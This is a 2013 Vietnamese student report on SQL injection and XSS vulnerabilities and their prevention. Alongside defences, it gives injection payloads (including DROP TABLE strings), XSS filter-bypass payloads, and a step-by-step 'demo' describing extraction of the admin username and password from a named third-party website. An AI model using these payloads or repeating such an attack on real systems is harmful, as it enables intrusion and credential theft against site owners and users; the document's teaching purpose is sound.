1. TRƯỜNG HỌC VIỆN KỸ THUẬT MẬT MÃ
KHOA AN TOÀN THÔNG TIN
------
Bài tập Môn Công Nghệ Mạng
Tên đề tài:
Tìm hiểu về lỗ hổng web và cách phòng chống
Thực hiện: Vũ Trung Kiên
Lê Thị Liên
Nguyễn Phương Duy
Lớp : AT9C
Chuyên ngành: An toàn thông tin
Trường: HV Kỹ Thuật Mật Mã
Hà nội, 2013
1

2. Mục Lục
Chương 1: Tổng quan về website, các dịch vu trên website và lỗi bảo mật
thông dụng
1, Mô tả website và cách hoạt động
2, Các dịch vụ và ứng dụng trên nền web
Chương 2: Lỗ hổng Injection
1, Injection
2, SQL Injection
2.1, Khái niệm
2.2, Các lỗi Sql injection thường gặp
2.3, Cách phòng chống
2.4, Demo khai thác lỗ hổng sql injection
Chương 3: Lỗ hổng XSS
1, XSS là gì?
2, Hiện trạng và mức độ nguy hiểm của XSS
3. Nguyên lý hoạt động của XSS
4. Phân loại XSS
5. Phương pháp check site kiểm tra lỗi XSS
6. Kĩ thuật tấn công
7. Phòng chống XSS
2

3. Chương 1: Tổng quan về website, các dịch vu trên website và lỗi bảo mật
thông dụng
1, Mô tả website và cách hoạt động
Website là một “trang web” trên mạng internet, đây là nơi giới thiệu những
thông tin, hình ảnh về doanh nghiệp và sản phẩm, dịch vụ của doanh nghiệp (hay
giới thiệu bất cứ thông tin gì) để khác hàng có thể truy cập ở bất kì đâu, bất cứ lúc
nào.
Website là tập hợp nhiều trang [web page]. Khi doanh nghiệp xây dựng
website nghĩa là đang xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ...Để
tạo nên một website cần có 3 yếu tố cơ bản:
* Cần phải có tên miền (domain).
* Nơi lưu trữ website (hosting).
* Nội dung các trang thông tin [web page].
Một số thuật ngữ cơ bản:
Website động (Dynamic website) là website có cơ sở dữ liệu, được cung cấp
công cụ quản lí website (Admin Tool). Đặc điểm của website động là tính linh hoạt và
co thể cập nhật thông tin thường xuyên, quản lí các thành phần trên website dễ
dàng. Loại website này thường được viết bằng các ngôn ngữ lập trình như PHP,
Asp.net, JSP, …., quản trị Cơ sở dữ liệu bằng SQL hoặc MySQL...
Website tĩnh do người lập trình băng ngôn ngữ HTML theo từng trang như
brochure, không có cơ sở dữ liệu và không có công cụ quản lí thông tin trên website.
Thông thường website tĩnh được thiết kế bằng các phần mềm như FrontPage,
Dreamwaver,....Đặc điểm của website tĩnh là ít thay đổi nội dung, sự thay đổi nội
dung này thường liên quan đến sự thay đổi văn bản đi kèm thể hiện nội dung trên đó.
Hiện nay hầu hết các doanh nghiệp đều sử dụng website động, thế nên công
nghệ website được mọi người biết đến là web 2.0.
- Tên miền (domain): Tên miền chính là địa chỉ website, trên internet chỉ tồn tại duy
nhất 1 địa chỉ (tức là tồn tại duy nhất một tên miền). Có 2 loại tên miền:
3

4. + Tên miền Quốc tế: là tên miền có dạng .com; .net; .org; .biz; .name.....
+ Tên miền Việt Nam: là tên miền có dạng .vn; .com.vn; .net.vn; .org.vn;
.gov.vn....
- Lưu trữ website: Dữ liệu thông tin của website phải được lưu trữ trên một máy tính
(máy chủ – server) luôn hoạt động và kết nối với mạng internet. Một server có thể lưu
trữ nhiều tên website, nếu server này bị sự cố chẳng hạn tắt trong 1 thời điểm nào đó
thì không ai co thể truy cập được những website lưu trữ trên server tại thời điểm bị sự
cố.
- Tùy theo nhu cầu lưu trữ thông tin mà doanh nghiệp có thể thuê dung lượng host
thích hợp cho website.
- Dung lượng host: là nơi để lưu trữ cơ sở dữ liệu của website (hình ảnh, thông
tin,......), đơn vị đo dung lượng thường là Mb hoặc Gb.
- Băng thông hay dung lượng đường truyền: Là tổng số Mb dữ liệu tải lên máy chủ
hoặc tải về từ máy chủ (download, upload) nơi đặt website, đơn vị đo thông thường là
Mb/Tháng.
2, Các dịch vụ và ứng dụng trên nền web
Với công nghệ hiện nay, website không chỉ đơn giản là một trang tin cung cấp
các tin bài đơn giản. Những ứng dụng viết trên nền web không chỉ được gọi là một
phần của website nữa, giờ đây chúng được gọi là phần mềm viết trên nền web. Có
rất nhiều phần mềm chạy trên nền web như Google word (xử lí văn bản), Google
spreadsheets (xử lí bảng tính), Email.....
Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web:
+ Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt chạy phần mềm.
+ Phần mềm luôn luôn được cập nhật vì chúng chạy trên server.
+ Luôn sẵn sàng 24/7.
+ Dễ dàng backup dữ liệu thường xuyên.
+ Có thể truy cập mọi lúc, mọi nơi, miễn là bạn có mạng.
+ Chi phí triển khai cực rẻ so với phần mềm chạy trên Desktop
Hãy hình dung bạn có 1 một phần mềm ở công ty, với phần mềm viết trên nền
web, bạn có thể vào kiểm tra, điều hành ở bất cứ đâu, thậm chí bạn chỉ cần 1 chiếc
4

5. điện thoại chạy được trình duyệt như Iphone mà không cần đến 1 chiếc máy tính.
Chương 2: Các loại lỗ hổng website và các phòng chống.
1, Lỗ hổng Injection
Lỗ hổng (nôm na về bảo mật) cho phép tin tặc có thể có ý định tấn công hoặc thay
đổi mã thông qua ứng dụng web tới một hệ thông khác. Những tấn công này bao
gồm cả việc tác động đến hoạt động của hệ thông chính thông qua các thông báo hệ
thông, sử dụng những chương trình mở rộng thông qua những dòng shell, làm sao để
truy nhập và dữ liệu đâu cuồi cuối thông qua SQL( ví dụ như lỗ hổng SQL). Toàn bộ
những dòng scripts được viết = perl,python và các ngôn ngữ khác có thể được áp
dụng đối với những người thiết kế web ở trình độ không cao và thực thi nó trên hệ
thông. Bất kì khi nào một ứng dụng web sử dụng một công cụ thông dịch ở bất kì
dạng nào đều có thể có nguy bị tấn công lỗ hổng bảo mật.
Rất nhiều ứng dụng web sử dụng các tính năng hệ thống và những ngôn ngữ mở
rộng dể diễn tả các thuật toán của chúng. Gửi mail là d có lẽ dẫn chứng tốt nhất cho
việc sử dụng các chương trình mở rộng, nhưng rất nhiều chương trình khác cũng đã
được sử dụng. Khi một ứng dụng web truyền tảo thông tin từ một yêu cầu của HTTP
thông qua một phần nào đó từ yêu cầu mở rộng ( hiểm nôm na nó link chuyển
tiếp),nó phải được kiểm soát một cách cẩn thận. Mặt khác, tin tặc có thể tấn công
thông qua các siêu dữ liệu, từ các mã hộ, hoặc mã được đã sửa đổi lại thông. tin của
ứng dụng web và ứng dụng web sẽ chạy ẩn thông qua các ứng dụng mở rộng của hệ
thống.
Lỗ hổng SQL là một dạng đặc biệt được lan rộng và là dạng nguy hiểm trong sự tấn
công. Để khai thác dược lỗ hổng SQL, tin tắc phải tìm được các tham biến mà ứng
dụng web truyền tải thông qua database. Bằng việc cẩn thận gắn các mã độc vào cái
tham biến, tin tắc có thể trick ứng dụng web thông qua việc chuyển tiến các truy vấn
mang mã độc tới hệ thống. Các tất công này không để giải quyết và có nhiều tool có
thể phát hiện ra chúng. Kết quả của nó là tin tắc có thể chiếm dụng, phá hỏng nội
dung database. Tấn công vào các lỗ hổng rất dễ khám phá và khai thắc, nhưng
chúng rất khó để tìm ra. Kết quả có thể chỉ chiếm được 1 vùng dữ liệu, từ những thứ
không quan trọng ( dữ liệu vớ vẩn) cho đến sự chiếm dụng hệ thống hoặc phá hủy
nó. Trong một vài trường hợp, việc sử dụng các tác động (cuộc gọ) lan tương đối
5

6. rộng, vì thế nên việc thống kê các yuwngs dụng web đang chứa các lỗ hổng bảo mật
cần được quan tâm nhiều hơn.
2, SQL injection
2.1, khái niệm
SQL injection (còn gọi là SQL Injection) là một hình thức tấn công trong đó
truy vấn SQL của ứng dụng đã bị chèn thêm các tham số đầu vào “không an toàn”
do người dùng nhập vào, từ đó mã lệnh được gửi tới máy chủ database để phân tích
cú pháp và thực thi.
Hình thái chính là SQL Injection bao gồm việc chèn trực tiếp mã vào các tham
số mà sẽ được ghép vào các câu lệnh SQL (quá trình này gọi là sinh truy vấn SQL
động) để tạo thành truy vấn của ứng dụng gửi tới máy chủ database. Một cách tấn
công khác ít trực tiếp hơn, đó là chèn mã độc vào các xâu mà đích đến là việc lưu trữ
trong các bảng hoặc từ điển dữ liệu (metadata). Khi các chuỗi đó được ghép vào các
câu lệnh SQL thì đoạn mã đó sẽ được chạy.
Khi ứng dụng web thất bại trong việc lọc các tham số đầu vào (được dùng làm
nguyên liệu cho quá trình sinh SQL động ), ngay cả khi dùng hình thức tham số hóa
(parameterize) thì kẻ tấn công có thể dễ dàng điều chỉnh quá trình xây dựng truy vấn
SQL. Một khi kẻ tấn công có thể sửa câu truy vấn SQL, thì những truy vấn SQL anh
ta muốn sẽ được thực thi với quyền hạn của người sở hữu ứng dụng, và thiệt hại anh
ta có thể gây ra sẽ tùy theo quyền hạn được cấp.
SQL Injection là một dạng tấn công dễ thực hiện, hầu hết mọi thao tác người
tấn công cần thực hiện với một trình duyệt web, có thể kèm theo mootj ứng dụng
proxy server. Chính vì đơn giản như vậy cho nên bất cứ ai cũng có thể học cách tiến
hành 1 cuộc tấn công. Lỗi bắt nguồn từ mã nguồn của ứng dụng web chứ không phải
từ phía database, chính vì thế bất cứ thành phần nào của ứng dụng mà người dùng
có thể tương tác được để điều khiển nội dun (ví dụ: các form, tham số URL, cookie,
tham số referrer, user-agenbt,...) đều có thể được sử dụng để chèn truy vấn có hại.
2.2, Các lỗi sql injection thường gặp
Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong
câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không
6

7. mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng
những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một
cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục
đích khác hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị
của biến userName như sau:
a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được
sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng. Trong
khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một
lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép điều
đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các
câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn.
Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá
những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu
được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ
này minh họa bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT *
FROM DATA WHERE 't' = 't';
Xử lý không đúng kiểu
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định
nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu
vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL
nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ
liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:
7

8. statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào
một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập
vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu
truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến
a_variable là:
1;DROP TABLE users
khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì
câu truy vấn hoàn chỉnh đã được hiểu là:
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là
trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ
cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công
dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang
được thoát. Chữ đậm
Blind SQL injection
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu
quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra
sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự
tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất
nhiều thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể
sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã
được thiết lập sẵn.
Thay đổi giá trị điều kiện truy vấn
Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy
vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
8

9. SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;
sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi
SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh
hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng
khác phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.
Điều kiện lỗi
Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá
khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:
SELECT 1/0 FROM users WHERE username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại
trong cơ sở dữ liệu.
Thời gian trễ
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL
phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL
engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác
định thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.
2.3, Cách phòng chống Sqli Injection
2.3.1, Phòng chống từ mức xây dựng mã nguồn ứng dụng
Điểm yếu SQL Injection bắt nguồn từ việc xử lí dữ liệu từ người dùng không
tốt, do đó vấn đề xây dựng mã nguồn đảm bảo an ninh là cốt lõi của việc phòng
chống SQL Injection.
2.3.1.1. Làm sạch dữ liệu đầu vào
a, Mô hình danh sách cho phép – Whitelist
Mô hình whitelist liệt kê danh sách những giá trị input nào được cho phép,
chính vì thế khi xây dựng nó đòi hỏi người phát triển phải hiểu rõ logic nghiệp vụ của
ứng dụng được xây dựng. Một số đặc điểm của input mà mô hình này chú ý tới như
kiểu dữ liệu, độ dài, miền dữ liệu hoặc 1 số định dạng chuẩn khác. Các điều kiện này
phụ thuộc nhiều vào logic nghiệp vụ và thỏa thuận với người sử dụng phụ. Phương
pháp dơn giản và hiệu quả nhất để xây dựng các mẫu (pattern) hợp lệ là sử dụng
9

10. biểu thức chính quy (regular expression).
B, Mô hình danh sách cấm – Backlist
Mô hình này xây dựng nên các mẫu input được cho là nguy hiểm và sẽ không
chấp nhận những mẫu này. Mô hình backlist kém hiệu quả hơn mô hình whitelist do
1 vài lý do sau:
- Số lượng khả năng xảy ra của một input xấu rất lớn, không thể xét đủ được
- Khó cập nhật các mẫu này
Ưu điểm của mô hình này so với whitelist đó là việc xây dựng đơn giản hơn.
Thông thường mô hình này không nên sử dụng 1 mình, để đảm bảo an ninh nên sử
dụng whitelist nếu có thể. Nếu sử dung backlist nhất thiết cần mã hóa output để giảm
thiểu nguy cơ rò rỉ thông tin về những mẫu mà mô hình này bỏ sót.
Một điều cần chú ý hơn đối với việc sử dụng các mô hình blacklist và whitelist,
đó là các mẫu này nên được xử lí ở phía client (trực tiếp tai trình duyệt) nếu có thể.
Tuy sử lí ở trình duyệt nhưng điều đó không có nghĩa là đảm bảo an toàn cho input
đó, cần thực hiện các phép làm sạch ở các mức tiếp theo.
2.3.1.2. Chuẩn hóa dữ liệu
Để thuận lợi cho quá trình kiểm tra dữ liệu đầu vào đầu ra, chúng ta cần xây
dựng các mô hình các mô hình chuẩn hóa dữ liệu dưới 1 dạng đơn giản. Một mô hình
chuẩn hóa dữ liệu dưới 1 dạng đơn giản. Một mô hình có thẻ xem xét như, ban đầu
giải mã dưới dạng URL, sau đó giải mã dưới dạng HTML, có thể thực hiện vài lần.
Tuy nhiên có thể sẽ tin cậy hơn nếu chúng ta chỉ thực hiện giải mã theo định dạng
phổ biến nhất nào đó đúng hơn 1 lần nếu phát hiện dấu hiệu nghi vấn, lập tức từ chối
dữ liệu đó.
2.3.2. Các biện pháp bảo vệ từ mức nền tảng hệ thống
Các biện pháp phòng chống từ mức nền tảng hệ thống (platform-level) là
những biện pháp cải tiến trong thời gian hoạt động (runtime) hoặc các thay đổi trong
cấu hình sao cho có thể nâng cao mức đô an ninh tổng thể của ứng dụng.
Một điều luôn cần ghi nhớ, đó là các giải pháp mức nền tảng hệ thống không
10

11. thể thay thế cho việc xây dựng mã nguồn ứng dụng an toàn, chúng chỉ có tác dụng
hỗ trợ. Một database cấu hình tốt không ngăn chặn được SQL Injection nhưng sẽ
khiến chúng gặp khó khăn khi lợi dung điểm yếu ứng dụng để khai thác database,
một bộ lọc an ninh có thể được sử dụng tạm thời như 1 bản vá ảo(virtual patch) từ khi
phát hiện lỗ hổng đến khi đội phát triển ứng dụng khắc phục được lỗ hổng đó. Các bộ
lọc có thể được xây dựng nhanh chóng hơn và có thể phòng tránh được những lỗ
hổng trong giai đoạn Zero-day của cuộc tấn công. Và có thể khẳng định rằng, an
ninh mức nền tảng là 1 thành phần quan trọng trong chiến lược an ninh tổng thể của
ứng dụng.
2.3.2.1. Các biện pháp bảo vệ tức thời
Những biện pháp bảo vệ tưc thời là những biện pháp có thẻ áp dụng mà
không cần phải thực hiện biên dịch lại mã nguồn của ứng dụng. Các biện pháp bảo
vệ trong thời gian hoạt động là các công cụ hữu ích nhằm phòng tránh việc lợi dụng
các điểm yếu SQL Injection đã được xác định.
Việc thực hiện sửa lỗi trong mã nguồn ứng dung luôn là một giải pháp triệt để
nhưng không phải luôn thực hiện được với khả năng và chi phí có thể. Ngoài ra, với
các ứng dụng thương mại, hầu hết chúng được phát hành với bản hoàn chỉnh đã biên
dịch chứ không phải ở dạng mã nguồn. Và ngay cả khi có mã nguồn thì việc thực
hiện chỉnh sửa nó hàu hết đều vi phạm các điều khoản sử dụng các biện pháp bảo
vệ trọng thời gian hoạt động có thể là giải pháp dạng bản-vá-ảo tạm thời trước khi
việc sửa lỗi trong mã nguồn ứng dụng hoàn chỉnh.
Ngay cả khi thời gian, tài nguyên cần thiết cho phép việc vá lỗi trong mã
nguồn, các biện pháp bảo vệ trong thời gian chạy vẫn là một lớp an ninh có giá trị
cho việc phát triển hoặc ngăn chặn những điểm yếu SQL Injection chưa biết tới. Điều
này sẽ dễ nhận thấy khi mà ứng dụng chưa từng chải qua các đánh giá, thử nghiệm
bảo mật, hoặc chưa từng bị các cược tấn công SQL Injection - những điều mà rất
phổ biến trong hoạt động phát triển ứng dụng Web ở nước ta hiện nay. Rõ ràng, đây
là những tiền đề cho việc khai thác các lỗi zero-day cũng như các lỗi SQL khác phát
tán từ internet.
2.3.2.2. Các biện pháp bảo vệ database
11

12. Các biện pháp bảo vệ chính database nhằm đề phòng những trường hợp xấu,
khi ke tấn công đã khai thác được nhiều điểm yếu, và từ đó có thể điều khiển các
hoạt động của database nhằm ăn cắp dữ liệu hoặc làm bàn đạp thâm nhập vào hệ
thống bên trong, đằng sau database.
A, giới hạn phạm vi ảnh hưởng của úng dụng
Các biện pháp này được chuẩn bị, đè phòng cho tình huống xấu nhất khi ke
tân công có thể thâm nhập được vào database:
- cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database
- Hủy bỏ các quyền PUBLIC: các database thường cung cấp 1 số chế độ mặc định
cho tất cả các đăng nhập, các chế độ này có 1 tập mặc định các quyền, bao gồm cả
việc truy cập tới 1 số đối tượng thuộc hệ thống. Các chế độ công khai này đôi khi
cung cấp những quyền truy cập tới những stored procedure có sẵn, 1 số các gói,
hoặc các hàm có thể sử dụng cho mục đích quản trị. Vì vậy cần hủy quyền dạng này
tới mức tối đa có thể.
- Sử dụng các thuật toán mã hóa mạnh để mã hóa và lưu trữ những dữ liệu nhạy
cảm.
B, giới hạn phạm vi ảnh hưởng của database
Các biện pháp ở mức này được chuẩn bị, đề phòng cho tình huống kẻ tấn
công chiếm được quyền điều khiển database:
- Khóa các quyền truy cập tới các đối tượng có đặc quyền, ví dụ những tiện ích quản
tri, tiện ích thực thi gián tiếp các lệnh phía hệ điều hành, hoặc các tiện ích sinh các
kết nối tới các đối tượng, database khác.
- Hạn chế các truy vấn đặc biệt: câu lệnh OPENROWSET trong SQL server la 1 vi
dụ. Việc sử dụng câu lệnh này có thể giúp kẻ tấn công có thể cướp quyền truy vấn,
và thực hiện các kết nối tới database khác dưới chế độ xác thực lỏn lẻo hơn.
2.4 Demo khai thác lỗi sql injection
- Sử dụng trang http://caycanhphutho.com.vn làm đối tượng khai thác.
- Công cụ sử dụng : Trình duyệt FireFox và add on Hackbar của FireFox
12

13. B1: Truy cập vào website
hình 1.1: website http://caycanhphutho.vn ban đầu
B2: Kiểm tra xem trang có lỗi SQL Injection không.
Hình 1.2: Kiểm tra trang bị lỗi SQL injection không.
B3: Thực hiện câu lệnh khai thác lỗi SQL injection
13

14. Hình 1.3: Thực hiện lệnh order by …...
Hình 1.4: Thực hiện lệnh UNION SELECT …. (tìm ra cột bị lỗi là 3 và 6)
14

15. Hình 1.5: Kiểm tra version (tìm được version 5.5.27)
Hình 1.6: Kiểm tra user (tìm được user haisandaiduo_db@localhost)
15

16. Hình 1.7: Kiểm tra database (tìm được database haisandaiduo_db)
Hình 1.8: Truy vấn đến table CSDL
16

17. Hình 1.9: Truy vấn đến cột trong table CSDL để tìm thông tin
B4: Kết quả đạt được
Hình 1.10: Kết quả là lấy được user và password của admin
17

18. Chương 3: Lỗ hổng XSS
1. XSS là gì ?
Cross-Site Scripting (gọi tắt là XSS thay vì CSS để tránh nhầm lẫn với CSS –
Casscading Style Sheet của HTML )– là một trong những lỗ hổng của Web
Application phổ biến nhất hiên nay, băng cách chèn vào các website động (ASP,
PHP, CGI,…) những thẻ HTML, VBscript, ActiveX hoặc Flash nguy hiểm có khả
năng đánh cắp thông tin quan trọng như cookies, mật khẩu, password…của những
người đã truy cập vào website bị dính lỗi XSS.
2. Hiện trạng và mức độ nguy hiểm của XSS
Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến
nhất của Web Applications và mối đe dọa của chúng ngày càng lớn. Theo các báo
cáo về mức độ ảnh hưởng của các kĩ thuật tấn công khác nhau có thể thấy được
XSS chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác, và nó là một mối
nguy hiểm lớn đối với các website hiện nay.
Nếu như SQL injection tấn công vào cơ sở dữ liệu của website thì XSS lại tấn
công trực tiếp vào người dùng. Nó giúp hacker lấy cắp các Cookies hay mật khẩu
trực tiếp của người dùng, lừa đảo quản trị website, chiếm session…từ đó có thể đăng
nhập chiếm quyền điều khiển website. Nó cũng là cơ chế để tạo thành nhiều mã độc
hiện nay. Trong đó có các mã độc hack tài khoản facebook, gmail,… Ngoài ra, lỗi
XSS có thể giúp các hacker chèn link của mình vào website bị lỗi. Link đó có thể là
link quảng cáo hay spam thông thường hoặc cũng có thể là link độc, link có chứa
virut.
Vì chỉ chạy trên trình duyệt của client và chỉ hoạt động trên bề mặt website
nên không làm thay đổi mã nguồn, cơ sở dữ liệu của website trên sever.
3. Nguyên lý hoạt động của XSS
Khi website đã bị chèn các thẻ HTMl, Script, … của hacker nghĩa là đã gửi
18

19. các request từ máy client đến sever nhằm chèn vào đó các thông tin vượt quá tầm
kiểm soát của sever. Khi người sử dụng click vào một trong những link đó thì toàn bộ
cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker thông qua email hoặc
một file nào đó trên host đã được thiết lập từ trước hoặc dẫn tới một tràn fishing mà
hacker đã thiết lập từ trước hay bị cài đặt các chương trình diệt virus, Trojan,
backdoor trên máy victim tùy vào mệnh lệnh của hacker.
4. Phân loại XSS
XSS tồn tại hai hình thức là Stored XSS và Reflected XSS
­ Stored XSS là hình thức tấn công mà ở đó cho phép kẻ thấn công có thể
chèn một đoạn script nguy hiểm vào website của chúng ta thông qua một
chức năng nào đó ( ví dụ: viết lời bình, guestbook, gửi bài…)và được lưu lại
trong database ,để từ đó khi các thành viên khác truy cập vào website dính
mã độc từ kẻ tấn công nên gọi là Stored. Stored XSS phát sinh do chúng
ta không đọc dữ liệu do thành viên gửi lên một cách đúng đắn, khiến cho
mã độc lưu trữ vào database của website.
­ Reflected XSS: trong hình thức này, kẻ tấn công thường gắn thêm đoạn
mã độc vào URL của website chúng ta và gửi dến nạn nhân, nếu nạn nhân
truy cập vào URL đó thì sẽ bị dính mã đôc. Điều này xảy ra do ta không
chú ý filter inout từ URL của website mình.
5. Phương pháp check site kiểm tra lỗi XSS
Một site bất kì bao giờ cũng có một hoặc tất cả những phần sau: search
results, error messages, web-form,… chủ yếu lỗi XSS nằm ở đây, nói chung là XSS
có thể xảy ra ở những chỗ nào mà người dùng có thể nhập dữ liệu vào và sẽ nhận
được một cái gì đó.
Các bước tìm lỗi XSS cho một website:
Bước 1: Mở website cần tìm ra.
Bước 2: Bắt đầu kiểm tra, định vị 1 ô tìm kiếm hoặc một ô login form và gửi
19

20. thông tin đi (nhập thông tin và ấn submit hoặc login hoặc ok ), và nhập chữ vào
những ô này.
Bước 3: Xác định site có khả năng bị dính lỗi XSS hay không bằng cách xem
thông tin trả về. Có nhiều cách để kiểm tra, sau đây tôi xin trình bày một số cách phổ
biến như sau:
­ Cách 1:
Bạn nhập một đoạn text “site đã bị dính lỗi XSS” . Nếu thông tin trả về
là 1 trong các kết quả sau :
- Không tìm thấy kết quả cho “site đã bị dính lỗi XSS”
- “site đã bị dính lỗi XSS” kết quả này không tồn tại«
- Your search for “site đã bị dính lỗi XSS” is not valid
Hay bất cứ một kết quả nào có liên quan đến “site đã bị dính lỗi XSS” . Kết
quả này cho thấy kết quả mà ta nhập vào không bị kiểm soát. Lợi dụng lỗi này
mà hacker có thể chèn thêm các đoạn mã gây hại vào.
- Cách 2:
Bạn nhập một đoạn mã Script như sau:
<script>alert(“XSS”)</script>
Và kết quả hiện lên là một khung thông báo có chữ “ XSS” thì site chắc chắn
20

21. site này đã bị dính lỗi XSS.
Nếu sử dụng thẻ HTML để kiểm tra, ta cũng có thể làm như sau:
+ Trong mục comment của site, ta gõ <b>error XSS</b>
+ Nếu dòng comment của ta hiện lên dòng chữ in đậm “error XSS” thì
100% site này dính lỗi XSS.
­ Cách 3:
Đôi khi một số site dính lỗi XSS không thể tấn công bằng những
đoạn mã javascript đơn giản, bởi họ có các bộ lọc không cho phép tiêm
XSS. Lúc đó ta phải dùng đến kĩ thuật bypass (mã hóa kí tự ở dạng
char)
Một số phương pháp vượt bộ lọc phổ biến:
+ Bypass magic_quotes_gpc
+ Bypass with crytion in full html
+ bypass with Obfuscation
+ Bypass with trying around method
Cách làm:
• Bypass magic_quotes_gpc
+ Khi php.ini ấn mặc định magic_quotes_gpc=on, nó có nghĩa là sever
sẽ không cho phép ta dùng “và”. Vì vậy khi ta chèn <script>alert(“hello
world!”)</script> sẽ không được thực hiện vì vi phạm luật
+ Ta sẽ mã hóa sang ASCII: hello world! 
(104,101,108,108,111,32,119,111,114,108,100,33)
<script>alert(String.fromCharCode(104,101,108,108,111,32,119,111,114,108,
100,33))</script>. Câu này hoàn toàn hợp lệ và không phạm luật.
• Bypass with cryption in full html
+ Chúng ta dùng các tool của urlencode của hackbar hoặc các tool
khác để mã hóa
+ Ví dụ: <script>alert(‘hello world!’)</script> . Nếu đường dẫn như vậy
gửi đến người dùng sẽ có thể không thành công vì người dùng không
tin tưởng vào đường link này để kích vào. Hơn nữa, nếu copy lại trên
21

22. trình duyệt và truy cập sẽ hiện cảnh báo về XSS. Vì vậy, kí tự sẽ được
hacker mã hóa để tránh người dùng nghi ngờ.
² %3Cscript%3Ealert%28%27hello%20world%21%27%29%3C
%2fscript%3E
Với cách này, kẻ tấn công sẽ gửi đường link tới người dùng, chờ người
dùng kích vào và kẻ tấn công có thể thực hiện các thao tác tiếp theo để
đánh cắp cookie, chiếm phiên kết nối người dùng tới máy chủ.
• Bypass with Obfuscation
+ Trường hợp này khi bộ lọc kiểm tra chuỗi alert, scipt,… Để vượt được
nó, ta chỉ cần làm sai lệch một tý, ví dụ: ALERt, ScRipt,…
• Bypass with trying around method (sử dụng các method)
+ Vấn đề này hay nhắc đến ở các khung tìm kiếm dùng thẻ input, lúc
này ta chỉ cần thêm “> (“> nghĩa là đóng thẻ input nếu như value nằm ở
cuối cùng) Sau đó chèn thêm <script>alert(“ hello world” )</script>
